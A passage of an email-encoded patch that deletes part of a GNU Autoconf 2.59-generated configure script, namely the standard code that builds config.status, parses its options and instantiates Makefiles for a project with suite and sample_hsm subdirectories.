$as_me, which was -generated by GNU Autoconf 2.59. Invocation command line was - - CONFIG_FILES =3D $CONFIG_FILES - CONFIG_HEADERS =3D $CONFIG_HEADERS - CONFIG_LINKS =3D $CONFIG_LINKS - CONFIG_COMMANDS =3D $CONFIG_COMMANDS - $ $0 $@ - -_CSEOF -echo "on `(hostname || uname -n) 2>/dev/null | sed 1q`" >&5 -echo >&5 -_ACEOF - -# Files that config.status was made for. -if test -n "$ac_config_files"; then - echo "config_files=3D\"$ac_config_files\"" >>$CONFIG_STATUS -fi - -if test -n "$ac_config_headers"; then - echo "config_headers=3D\"$ac_config_headers\"" >>$CONFIG_STATUS -fi - -if test -n "$ac_config_links"; then - echo "config_links=3D\"$ac_config_links\"" >>$CONFIG_STATUS -fi - -if test -n "$ac_config_commands"; then - echo "config_commands=3D\"$ac_config_commands\"" >>$CONFIG_STATUS -fi - -cat >>$CONFIG_STATUS <<\_ACEOF - -ac_cs_usage=3D"\ -\`$as_me' instantiates files from templates according to the -current configuration. - -Usage: $0 [OPTIONS] [FILE]... - - -h, --help print this help, then exit - -V, --version print version number, then exit - -q, --quiet do not print progress messages - -d, --debug don't remove temporary files - --recheck update $as_me by reconfiguring in the same conditio= ns - --file=3DFILE[:TEMPLATE] -=09=09 instantiate the configuration file FILE - -Configuration files: -$config_files - -Configuration commands: -$config_commands - -Report bugs to ." -_ACEOF - -cat >>$CONFIG_STATUS <<_ACEOF -ac_cs_version=3D"\\ -config.status -configured by $0, generated by GNU Autoconf 2.59, - with options \\"`echo "$ac_configure_args" | sed 's/[\\""\`\$]/\\\\&= /g'`\\" - -Copyright (C) 2003 Free Software Foundation, Inc. -This config.status script is free software; the Free Software Foundati= on -gives unlimited permission to copy, distribute and modify it." -srcdir=3D$srcdir -INSTALL=3D"$INSTALL" -_ACEOF - -cat >>$CONFIG_STATUS <<\_ACEOF -# If no file are specified by the user, then we need to provide defaul= t -# value. By we need to know if files were specified by the user. -ac_need_defaults=3D: -while test $# !=3D 0 -do - case $1 in - --*=3D*) - ac_option=3D`expr "x$1" : 'x\([^=3D]*\)=3D'` - ac_optarg=3D`expr "x$1" : 'x[^=3D]*=3D\(.*\)'` - ac_shift=3D: - ;; - -*) - ac_option=3D$1 - ac_optarg=3D$2 - ac_shift=3Dshift - ;; - *) # This is not an option, so the user has probably given explicit - # arguments. - ac_option=3D$1 - ac_need_defaults=3Dfalse;; - esac - - case $ac_option in - # Handling of the options. -_ACEOF -cat >>$CONFIG_STATUS <<\_ACEOF - -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | = --r) - ac_cs_recheck=3D: ;; - --version | --vers* | -V ) - echo "$ac_cs_version"; exit 0 ;; - --he | --h) - # Conflict between --help and --header - { { echo "$as_me:$LINENO: error: ambiguous option: $1 -Try \`$0 --help' for more information." >&5 -echo "$as_me: error: ambiguous option: $1 -Try \`$0 --help' for more information." >&2;} - { (exit 1); exit 1; }; };; - --help | --hel | -h ) - echo "$ac_cs_usage"; exit 0 ;; - --debug | --d* | -d ) - debug=3D: ;; - --file | --fil | --fi | --f ) - $ac_shift - CONFIG_FILES=3D"$CONFIG_FILES $ac_optarg" - ac_need_defaults=3Dfalse;; - --header | --heade | --head | --hea ) - $ac_shift - CONFIG_HEADERS=3D"$CONFIG_HEADERS $ac_optarg" - ac_need_defaults=3Dfalse;; - -q | -quiet | --quiet | --quie | --qui | --qu | --q \ - | -silent | --silent | --silen | --sile | --sil | --si | --s) - ac_cs_silent=3D: ;; - - # This is an error. - -*) { { echo "$as_me:$LINENO: error: unrecognized option: $1 -Try \`$0 --help' for more information." >&5 -echo "$as_me: error: unrecognized option: $1 -Try \`$0 --help' for more information." >&2;} - { (exit 1); exit 1; }; } ;; - - *) ac_config_targets=3D"$ac_config_targets $1" ;; - - esac - shift -done - -ac_configure_extra_args=3D - -if $ac_cs_silent; then - exec 6>/dev/null - ac_configure_extra_args=3D"$ac_configure_extra_args --silent" -fi - -_ACEOF -cat >>$CONFIG_STATUS <<_ACEOF -if \$ac_cs_recheck; then - echo "running $SHELL $0 " $ac_configure_args \$ac_configure_extra_ar= gs " --no-create --no-recursion" >&6 - exec $SHELL $0 $ac_configure_args \$ac_configure_extra_args --no-cre= ate --no-recursion -fi - -_ACEOF - -cat >>$CONFIG_STATUS <<_ACEOF -# -# INIT-COMMANDS section. -# - -AMDEP_TRUE=3D"$AMDEP_TRUE" ac_aux_dir=3D"$ac_aux_dir" - -_ACEOF - - - -cat >>$CONFIG_STATUS <<\_ACEOF -for ac_config_target in $ac_config_targets -do - case "$ac_config_target" in - # Handling of arguments. - "Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES Makefile" ;; - "src/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/Makefile" ;; - "src/common/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/common/Mak= efile" ;; - "src/common/cmd/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/common= /cmd/Makefile" ;; - "src/common/lib/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/common= /lib/Makefile" ;; - "src/suite1/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/suite1/Mak= efile" ;; - "src/suite1/cmd/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/suite1= /cmd/Makefile" ;; - "src/sample_hsm/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/sample= _hsm/Makefile" ;; - "src/simple/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/simple/Mak= efile" ;; - "src/suite2/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/suite2/Mak= efile" ;; - "src/suite2/src/Makefile" ) CONFIG_FILES=3D"$CONFIG_FILES src/suite2= /src/Makefile" ;; - "depfiles" ) CONFIG_COMMANDS=3D"$CONFIG_COMMANDS depfiles" ;; - *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_tar= get" >&5 -echo "$as_me: error: invalid argument: $ac_config_target" >&2;} - { (exit 1); exit 1; }; };; - esac -done - -# If the user did not use the arguments to specify the items to instan= tiate, -# then the envvar interface is used. Set only those that are not. -# We use the long form for the default assignment because of an extrem= ely -# bizarre bug on SunOS 4.1.3. -if $ac_need_defaults; then - test "${CONFIG_FILES+set}" =3D set || CONFIG_FILES=3D$config_files - test "${CONFIG_COMMANDS+set}" =3D set || CONFIG_COMMANDS=3D$config_c= ommands -fi - -# Have a temporary directory for convenience. Make it in the build tr= ee -# simply because there is no reason to put it here, and in addition, -# creating and moving files from /tmp can sometimes cause problems. -# Create a temporary directory, and hook for its removal unless debugg= ing. -$debug || -{ - trap 'exit_status=3D$?; rm -rf $tmp && exit $exit_status' 0 - trap '{ (exit 1); exit 1; }' 1 2 13 15 -} - -# Create a (secure) tmp directory for tmp files. - -{ - tmp=3D`(umask 077 && mktemp -d -q "./confstatXXXXXX") 2>/dev/null` &= & - test -n "$tmp" && test -d "$tmp" -} || -{ - tmp=3D./confstat$$-$RANDOM - (umask 077 && mkdir $tmp) -} || -{ - echo "$me: cannot create a temporary directory in ." >&2 - { (exit 1); exit 1; } -} - -_ACEOF - -cat >>$CONFIG_STATUS <<_ACEOF - -# -# CONFIG_FILES section. -# - -# No need to generate the scripts if there are no CONFIG_FILES. -# This happens for instance when ./config.status config.h -if test -n "\$CONFIG_FILES"; then - # Protect against being on the right side of a sed subst in config.s= tatus. - sed 's/,@/@@/; s/@,/@@/; s/,;t t\$/@;t t/; /@;t t\$/s/[\\\\&,]/\\\\&= /g; - s/@@/,@/; s/@@/@,/; s/@;t t\$/,;t t/' >\$tmp/subs.sed <<\\CEOF -s,@SHELL@,$SHELL,;t t -s,@PATH_SEPARATOR@,$PATH_SEPARATOR,;t t -s,@PACKAGE_NAME@,$PACKAGE_NAME,;t t -s,@PACKAGE_TARNAME@,$PACKAGE_TARNAME,;t t -s,@PACKAGE_VERSION@,$PACKAGE_VERSION,;t t -s,@PACKAGE_STRING@,$PACKAGE_STRING,;t t -s,@PACKAGE_BUGREPORT@,$PACKAGE_BUGREPORT,;t t -s,@exec_prefix@,$exec_prefix,;t t -s,@prefix@,$prefix,;t t -s,@program_transform_name@,$program_transform_name,;t t -s,@bindir@,$bindir,;t t -s,@sbindir@,$sbindir,;t t -s,@libexecdir@,$libexecdir,;t t -s,@datadir@,$datadir,;t t -s,@sysconfdir@,$sysconfdir,;t t -s,@sharedstatedir@,$sharedstatedir,;t t -s,@localstatedir@,$localstatedir,;t t -s,@libdir@,$libdir,;t t -s,@includedir@,$includedir,;t t -s,@oldincludedir@,$oldincludedir,;t t -s,@infodir@,$infodir,;t t -s,@mandir@,$mandir,;t t -s,@build_alias@,$build_alias,;t t -s,@host_alias@,$host_alias,;t t -s,@target_alias@,$target_alias,;t t -s,@DEFS@,$DEFS,;t t -s,@ECHO_C@,$ECHO_C,;t t -s,@ECHO_N@,$ECHO_N,;t t -s,@ECHO_T@,$ECHO_T,;t t -s,@LIBS@,$LIBS,;t t -s,@INSTALL_PROGRAM@,$INSTALL_PROGRAM,;t t -s,@INSTALL_SCRIPT@,$INSTALL_SCRIPT,;t t -s,@INSTALL_DATA@,$INSTALL_DATA,;t t -s,@CYGPATH_W@,$CYGPATH_W,;t t -s,@PACKAGE@,$PACKAGE,;t t -s,@VERSION@,$VERSION,;t t -s,@ACLOCAL@,$ACLOCAL,;t t -s,@AUTOCONF@,$AUTOCONF,;t t -s,@AUTOMAKE@,$AUTOMAKE,;t t -s,@AUTOHEADER@,$AUTOHEADER,;t t -s,@MAKEINFO@,$MAKEINFO,;t t -s,@install_sh@,$install_sh,;t t -s,@STRIP@,$STRIP,;t t -s,@ac_ct_STRIP@,$ac_ct_STRIP,;t t -s,@INSTALL_STRIP_PROGRAM@,$INSTALL_STRIP_PROGRAM,;t t -s,@mkdir_p@,$mkdir_p,;t t -s,@AWK@,$AWK,;t t -s,@SET_MAKE@,$SET_MAKE,;t t -s,@am__leading_dot@,$am__leading_dot,;t t -s,@AMTAR@,$AMTAR,;t t -s,@am__tar@,$am__tar,;t t -s,@am__untar@,$am__untar,;t t -s,@CC@,$CC,;t t -s,@CFLAGS@,$CFLAGS,;t t -s,@LDFLAGS@,$LDFLAGS,;t t -s,@CPPFLAGS@,$CPPFLAGS,;t t -s,@ac_ct_CC@,$ac_ct_CC,;t t -s,@EXEEXT@,$EXEEXT,;t t -s,@OBJEXT@,$OBJEXT,;t t -s,@DEPDIR@,$DEPDIR,;t t -s,@am__include@,$am__include,;t t -s,@am__quote@,$am__quote,;t t -s,@AMDEP_TRUE@,$AMDEP_TRUE,;t t -s,@AMDEP_FALSE@,$AMDEP_FALSE,;t t -s,@AMDEPBACKSLASH@,$AMDEPBACKSLASH,;t t -s,@CCDEPMODE@,$CCDEPMODE,;t t -s,@am__fastdepCC_TRUE@,$am__fastdepCC_TRUE,;t t -s,@am__fastdepCC_FALSE@,$am__fastdepCC_FALSE,;t t -s,@build@,$build,;t t -s,@build_cpu@,$build_cpu,;t t -s,@build_vendor@,$build_vendor,;t t -s,@build_os@,$build_os,;t t -s,@host@,$host,;t t -s,@host_cpu@,$host_cpu,;t t -s,@host_vendor@,$host_vendor,;t t -s,@host_os@,$host_os,;t t -s,@EGREP@,$EGREP,;t t -s,@LN_S@,$LN_S,;t t -s,@ECHO@,$ECHO,;t t -s,@AR@,$AR,;t t -s,@ac_ct_AR@,$ac_ct_AR,;t t -s,@RANLIB@,$RANLIB,;t t -s,@ac_ct_RANLIB@,$ac_ct_RANLIB,;t t -s,@CPP@,$CPP,;t t -s,@CXX@,$CXX,;t t -s,@CXXFLAGS@,$CXXFLAGS,;t t -s,@ac_ct_CXX@,$ac_ct_CXX,;t t -s,@CXXDEPMODE@,$CXXDEPMODE,;t t -s,@am__fastdepCXX_TRUE@,$am__fastdepCXX_TRUE,;t t -s,@am__fastdepCXX_FALSE@,$am__fastdepCXX_FALSE,;t t -s,@CXXCPP@,$CXXCPP,;t t -s,@F77@,$F77,;t t -s,@FFLAGS@,$FFLAGS,;t t -s,@ac_ct_F77@,$ac_ct_F77,;t t -s,@LIBTOOL@,$LIBTOOL,;t t -s,@LIBOBJS@,$LIBOBJS,;t t -s,@LTLIBOBJS@,$LTLIBOBJS,;t t -CEOF - -_ACEOF - - cat >>$CONFIG_STATUS <<\_ACEOF - # Split the substitutions into bite-sized pieces for seds with - # small command number limits, like on Digital OSF/1 and HP-UX. - ac_max_sed_lines=3D48 - ac_sed_frag=3D1 # Number of current file. - ac_beg=3D1 # First line for current file. - ac_end=3D$ac_max_sed_lines # Line after last line for current file. - ac_more_lines=3D: - ac_sed_cmds=3D - while $ac_more_lines; do - if test $ac_beg -gt 1; then - sed "1,${ac_beg}d; ${ac_end}q" $tmp/subs.sed >$tmp/subs.frag - else - sed "${ac_end}q" $tmp/subs.sed >$tmp/subs.frag - fi - if test ! -s $tmp/subs.frag; then - ac_more_lines=3Dfalse - else - # The purpose of the label and of the branching condition is to - # speed up the sed processing (if there are no `@' at all, there - # is no need to browse any of the substitutions). - # These are the two extra sed commands mentioned above. - (echo ':t - /@[a-zA-Z_][a-zA-Z_0-9]*@/!b' && cat $tmp/subs.frag) >$tmp/subs-$ac_= sed_frag.sed - if test -z "$ac_sed_cmds"; then -=09ac_sed_cmds=3D"sed -f $tmp/subs-$ac_sed_frag.sed" - else -=09ac_sed_cmds=3D"$ac_sed_cmds | sed -f $tmp/subs-$ac_sed_frag.sed" - fi - ac_sed_frag=3D`expr $ac_sed_frag + 1` - ac_beg=3D$ac_end - ac_end=3D`expr $ac_end + $ac_max_sed_lines` - fi - done - if test -z "$ac_sed_cmds"; then - ac_sed_cmds=3Dcat - fi -fi # test -n "$CONFIG_FILES" - -_ACEOF -cat >>$CONFIG_STATUS <<\_ACEOF -for ac_file in : $CONFIG_FILES; do test "x$ac_file" =3D x: && continue - # Support "outfile[:infile[:infile...]]", defaulting infile=3D"outfi= le.in". - case $ac_file in - - | *:- | *:-:* ) # input from stdin -=09cat >$tmp/stdin -=09ac_file_in=3D`echo "$ac_file" | sed 's,[^:]*:,,'` -=09ac_file=3D`echo "$ac_file" | sed 's,:.*,,'` ;; - *:* ) ac_file_in=3D`echo "$ac_file" | sed 's,[^:]*:,,'` -=09ac_file=3D`echo "$ac_file" | sed 's,:.*,,'` ;; - * ) ac_file_in=3D$ac_file.in ;; - esac - - # Compute @srcdir@, @top_srcdir@, and @INSTALL@ for subdirectories. - ac_dir=3D`(dirname "$ac_file") 2>/dev/null || -$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ -=09 X"$ac_file" : 'X\(//\)[^/]' \| \ -=09 X"$ac_file" : 'X\(//\)$' \| \ -=09 X"$ac_file" : 'X\(/\)' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X"$ac_file" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } - =09 /^X\(\/\/\)[^/].*/{ s//\1/; q; } - =09 /^X\(\/\/\)$/{ s//\1/; q; } - =09 /^X\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - { if $as_mkdir_p; then - mkdir -p "$ac_dir" - else - as_dir=3D"$ac_dir" - as_dirs=3D - while test ! -d "$as_dir"; do - as_dirs=3D"$as_dir $as_dirs" - as_dir=3D`(dirname "$as_dir") 2>/dev/null || -$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ -=09 X"$as_dir" : 'X\(//\)[^/]' \| \ -=09 X"$as_dir" : 'X\(//\)$' \| \ -=09 X"$as_dir" : 'X\(/\)' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X"$as_dir" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } - =09 /^X\(\/\/\)[^/].*/{ s//\1/; q; } - =09 /^X\(\/\/\)$/{ s//\1/; q; } - =09 /^X\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - done - test ! -n "$as_dirs" || mkdir $as_dirs - fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac= _dir\"" >&5 -echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} - { (exit 1); exit 1; }; }; } - - ac_builddir=3D. - -if test "$ac_dir" !=3D .; then - ac_dir_suffix=3D/`echo "$ac_dir" | sed 's,^\.[\\/],,'` - # A "../" for each directory in $ac_dir_suffix. - ac_top_builddir=3D`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` -else - ac_dir_suffix=3D ac_top_builddir=3D -fi - -case $srcdir in - .) # No --srcdir option. We are building in place. - ac_srcdir=3D. - if test -z "$ac_top_builddir"; then - ac_top_srcdir=3D. - else - ac_top_srcdir=3D`echo $ac_top_builddir | sed 's,/$,,'` - fi ;; - [\\/]* | ?:[\\/]* ) # Absolute path. - ac_srcdir=3D$srcdir$ac_dir_suffix; - ac_top_srcdir=3D$srcdir ;; - *) # Relative path. - ac_srcdir=3D$ac_top_builddir$srcdir$ac_dir_suffix - ac_top_srcdir=3D$ac_top_builddir$srcdir ;; -esac - -# Do not use `cd foo && pwd` to compute absolute paths, because -# the directories may not exist. -case `pwd` in -.) ac_abs_builddir=3D"$ac_dir";; -*) - case "$ac_dir" in - .) ac_abs_builddir=3D`pwd`;; - [\\/]* | ?:[\\/]* ) ac_abs_builddir=3D"$ac_dir";; - *) ac_abs_builddir=3D`pwd`/"$ac_dir";; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_top_builddir=3D${ac_top_builddir}.;; -*) - case ${ac_top_builddir}. in - .) ac_abs_top_builddir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=3D${ac_top_builddir}.;; - *) ac_abs_top_builddir=3D$ac_abs_builddir/${ac_top_builddir}.;; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_srcdir=3D$ac_srcdir;; -*) - case $ac_srcdir in - .) ac_abs_srcdir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_srcdir=3D$ac_srcdir;; - *) ac_abs_srcdir=3D$ac_abs_builddir/$ac_srcdir;; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_top_srcdir=3D$ac_top_srcdir;; -*) - case $ac_top_srcdir in - .) ac_abs_top_srcdir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=3D$ac_top_srcdir;; - *) ac_abs_top_srcdir=3D$ac_abs_builddir/$ac_top_srcdir;; - esac;; -esac - - - case $INSTALL in - [\\/$]* | ?:[\\/]* ) ac_INSTALL=3D$INSTALL ;; - *) ac_INSTALL=3D$ac_top_builddir$INSTALL ;; - esac - - if test x"$ac_file" !=3D x-; then - { echo "$as_me:$LINENO: creating $ac_file" >&5 -echo "$as_me: creating $ac_file" >&6;} - rm -f "$ac_file" - fi - # Let's still pretend it is `configure' which instantiates (i.e., do= n't - # use $as_me), people would be surprised to read: - # /* config.h. Generated by config.status. */ - if test x"$ac_file" =3D x-; then - configure_input=3D - else - configure_input=3D"$ac_file. " - fi - configure_input=3D$configure_input"Generated from `echo $ac_file_in = | -=09=09=09=09 sed 's,.*/,,'` by configure." - - # First look for the input files in the build tree, otherwise in the - # src tree. - ac_file_inputs=3D`IFS=3D: - for f in $ac_file_in; do - case $f in - -) echo $tmp/stdin ;; - [\\/$]*) -=09 # Absolute (can't be DOS-style, as IFS=3D:) -=09 test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input= file: $f" >&5 -echo "$as_me: error: cannot find input file: $f" >&2;} - { (exit 1); exit 1; }; } -=09 echo "$f";; - *) # Relative -=09 if test -f "$f"; then -=09 # Build tree -=09 echo "$f" -=09 elif test -f "$srcdir/$f"; then -=09 # Source tree -=09 echo "$srcdir/$f" -=09 else -=09 # /dev/null tree -=09 { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 -echo "$as_me: error: cannot find input file: $f" >&2;} - { (exit 1); exit 1; }; } -=09 fi;; - esac - done` || { (exit 1); exit 1; } -_ACEOF -cat >>$CONFIG_STATUS <<_ACEOF - sed "$ac_vpsub -$extrasub -_ACEOF -cat >>$CONFIG_STATUS <<\_ACEOF -:t -/@[a-zA-Z_][a-zA-Z_0-9]*@/!b -s,@configure_input@,$configure_input,;t t -s,@srcdir@,$ac_srcdir,;t t -s,@abs_srcdir@,$ac_abs_srcdir,;t t -s,@top_srcdir@,$ac_top_srcdir,;t t -s,@abs_top_srcdir@,$ac_abs_top_srcdir,;t t -s,@builddir@,$ac_builddir,;t t -s,@abs_builddir@,$ac_abs_builddir,;t t -s,@top_builddir@,$ac_top_builddir,;t t -s,@abs_top_builddir@,$ac_abs_top_builddir,;t t -s,@INSTALL@,$ac_INSTALL,;t t -" $ac_file_inputs | (eval "$ac_sed_cmds") >$tmp/out - rm -f $tmp/stdin - if test x"$ac_file" !=3D x-; then - mv $tmp/out $ac_file - else - cat $tmp/out - rm -f $tmp/out - fi - -done -_ACEOF -cat >>$CONFIG_STATUS <<\_ACEOF - -# -# CONFIG_COMMANDS section. -# -for ac_file in : $CONFIG_COMMANDS; do test "x$ac_file" =3D x: && conti= nue - ac_dest=3D`echo "$ac_file" | sed 's,:.*,,'` - ac_source=3D`echo "$ac_file" | sed 's,[^:]*:,,'` - ac_dir=3D`(dirname "$ac_dest") 2>/dev/null || -$as_expr X"$ac_dest" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ -=09 X"$ac_dest" : 'X\(//\)[^/]' \| \ -=09 X"$ac_dest" : 'X\(//\)$' \| \ -=09 X"$ac_dest" : 'X\(/\)' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X"$ac_dest" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } - =09 /^X\(\/\/\)[^/].*/{ s//\1/; q; } - =09 /^X\(\/\/\)$/{ s//\1/; q; } - =09 /^X\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - { if $as_mkdir_p; then - mkdir -p "$ac_dir" - else - as_dir=3D"$ac_dir" - as_dirs=3D - while test ! -d "$as_dir"; do - as_dirs=3D"$as_dir $as_dirs" - as_dir=3D`(dirname "$as_dir") 2>/dev/null || -$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ -=09 X"$as_dir" : 'X\(//\)[^/]' \| \ -=09 X"$as_dir" : 'X\(//\)$' \| \ -=09 X"$as_dir" : 'X\(/\)' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X"$as_dir" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } - =09 /^X\(\/\/\)[^/].*/{ s//\1/; q; } - =09 /^X\(\/\/\)$/{ s//\1/; q; } - =09 /^X\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - done - test ! -n "$as_dirs" || mkdir $as_dirs - fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac= _dir\"" >&5 -echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} - { (exit 1); exit 1; }; }; } - - ac_builddir=3D. - -if test "$ac_dir" !=3D .; then - ac_dir_suffix=3D/`echo "$ac_dir" | sed 's,^\.[\\/],,'` - # A "../" for each directory in $ac_dir_suffix. - ac_top_builddir=3D`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` -else - ac_dir_suffix=3D ac_top_builddir=3D -fi - -case $srcdir in - .) # No --srcdir option. We are building in place. - ac_srcdir=3D. - if test -z "$ac_top_builddir"; then - ac_top_srcdir=3D. - else - ac_top_srcdir=3D`echo $ac_top_builddir | sed 's,/$,,'` - fi ;; - [\\/]* | ?:[\\/]* ) # Absolute path. - ac_srcdir=3D$srcdir$ac_dir_suffix; - ac_top_srcdir=3D$srcdir ;; - *) # Relative path. - ac_srcdir=3D$ac_top_builddir$srcdir$ac_dir_suffix - ac_top_srcdir=3D$ac_top_builddir$srcdir ;; -esac - -# Do not use `cd foo && pwd` to compute absolute paths, because -# the directories may not exist. -case `pwd` in -.) ac_abs_builddir=3D"$ac_dir";; -*) - case "$ac_dir" in - .) ac_abs_builddir=3D`pwd`;; - [\\/]* | ?:[\\/]* ) ac_abs_builddir=3D"$ac_dir";; - *) ac_abs_builddir=3D`pwd`/"$ac_dir";; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_top_builddir=3D${ac_top_builddir}.;; -*) - case ${ac_top_builddir}. in - .) ac_abs_top_builddir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=3D${ac_top_builddir}.;; - *) ac_abs_top_builddir=3D$ac_abs_builddir/${ac_top_builddir}.;; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_srcdir=3D$ac_srcdir;; -*) - case $ac_srcdir in - .) ac_abs_srcdir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_srcdir=3D$ac_srcdir;; - *) ac_abs_srcdir=3D$ac_abs_builddir/$ac_srcdir;; - esac;; -esac -case $ac_abs_builddir in -.) ac_abs_top_srcdir=3D$ac_top_srcdir;; -*) - case $ac_top_srcdir in - .) ac_abs_top_srcdir=3D$ac_abs_builddir;; - [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=3D$ac_top_srcdir;; - *) ac_abs_top_srcdir=3D$ac_abs_builddir/$ac_top_srcdir;; - esac;; -esac - - - { echo "$as_me:$LINENO: executing $ac_dest commands" >&5 -echo "$as_me: executing $ac_dest commands" >&6;} - case $ac_dest in - depfiles ) test x"$AMDEP_TRUE" !=3D x"" || for mf in $CONFIG_FILES= ; do - # Strip MF so we end up with the name of the file. - mf=3D`echo "$mf" | sed -e 's/:.*$//'` - # Check whether this is an Automake generated Makefile or not. - # We used to match only the files named `Makefile.in', but - # some people rename them; so instead we look at the file content. - # Grep'ing the first line is not enough: some people post-process - # each Makefile.in and add a new line on top of each file to say so. - # So let's grep whole file. - if grep '^#.*generated by automake' $mf > /dev/null 2>&1; then - dirpart=3D`(dirname "$mf") 2>/dev/null || -$as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ -=09 X"$mf" : 'X\(//\)[^/]' \| \ -=09 X"$mf" : 'X\(//\)$' \| \ -=09 X"$mf" : 'X\(/\)' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X"$mf" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } - =09 /^X\(\/\/\)[^/].*/{ s//\1/; q; } - =09 /^X\(\/\/\)$/{ s//\1/; q; } - =09 /^X\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - else - continue - fi - # Extract the definition of DEPDIR, am__include, and am__quote - # from the Makefile without running `make'. - DEPDIR=3D`sed -n 's/^DEPDIR =3D //p' < "$mf"` - test -z "$DEPDIR" && continue - am__include=3D`sed -n 's/^am__include =3D //p' < "$mf"` - test -z "am__include" && continue - am__quote=3D`sed -n 's/^am__quote =3D //p' < "$mf"` - # When using ansi2knr, U may be empty or an underscore; expand it - U=3D`sed -n 's/^U =3D //p' < "$mf"` - # Find all dependency output files, they are included files with - # $(DEPDIR) in their names. We invoke sed twice because it is the - # simplest approach to changing $(DEPDIR) to its actual value in the - # expansion. - for file in `sed -n " - s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$m= f" | \ - sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do - # Make sure the directory exists. - test -f "$dirpart/$file" && continue - fdir=3D`(dirname "$file") 2>/dev/null || -$as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ -=09 X"$file" : 'X\(//\)[^/]' \| \ -=09 X"$file" : 'X\(//\)$' \| \ -=09 X"$file" : 'X\(/\)' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X"$file" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } - =09 /^X\(\/\/\)[^/].*/{ s//\1/; q; } - =09 /^X\(\/\/\)$/{ s//\1/; q; } - =09 /^X\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - { if $as_mkdir_p; then - mkdir -p $dirpart/$fdir - else - as_dir=3D$dirpart/$fdir - as_dirs=3D - while test ! -d "$as_dir"; do - as_dirs=3D"$as_dir $as_dirs" - as_dir=3D`(dirname "$as_dir") 2>/dev/null || -$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ -=09 X"$as_dir" : 'X\(//\)[^/]' \| \ -=09 X"$as_dir" : 'X\(//\)$' \| \ -=09 X"$as_dir" : 'X\(/\)' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X"$as_dir" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } - =09 /^X\(\/\/\)[^/].*/{ s//\1/; q; } - =09 /^X\(\/\/\)$/{ s//\1/; q; } - =09 /^X\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - done - test ! -n "$as_dirs" || mkdir $as_dirs - fi || { { echo "$as_me:$LINENO: error: cannot create directory $dirp= art/$fdir" >&5 -echo "$as_me: error: cannot create directory $dirpart/$fdir" >&2;} - { (exit 1); exit 1; }; }; } - - # echo "creating $dirpart/$file" - echo '# dummy' > "$dirpart/$file" - done -done - ;; - esac -done -_ACEOF - -cat >>$CONFIG_STATUS <<\_ACEOF - -{ (exit 0); exit 0; } -_ACEOF -chmod +x $CONFIG_STATUS -ac_clean_files=3D$ac_clean_files_save - - -# configure is writing to config.log, and then calls config.status. -# config.status does its own redirection, appending to config.log. -# Unfortunately, on DOS this fails, as config.log is still kept open -# by configure, so config.status won't be able to write to it; its -# output is simply discarded. So we exec the FD to /dev/null, -# effectively closing 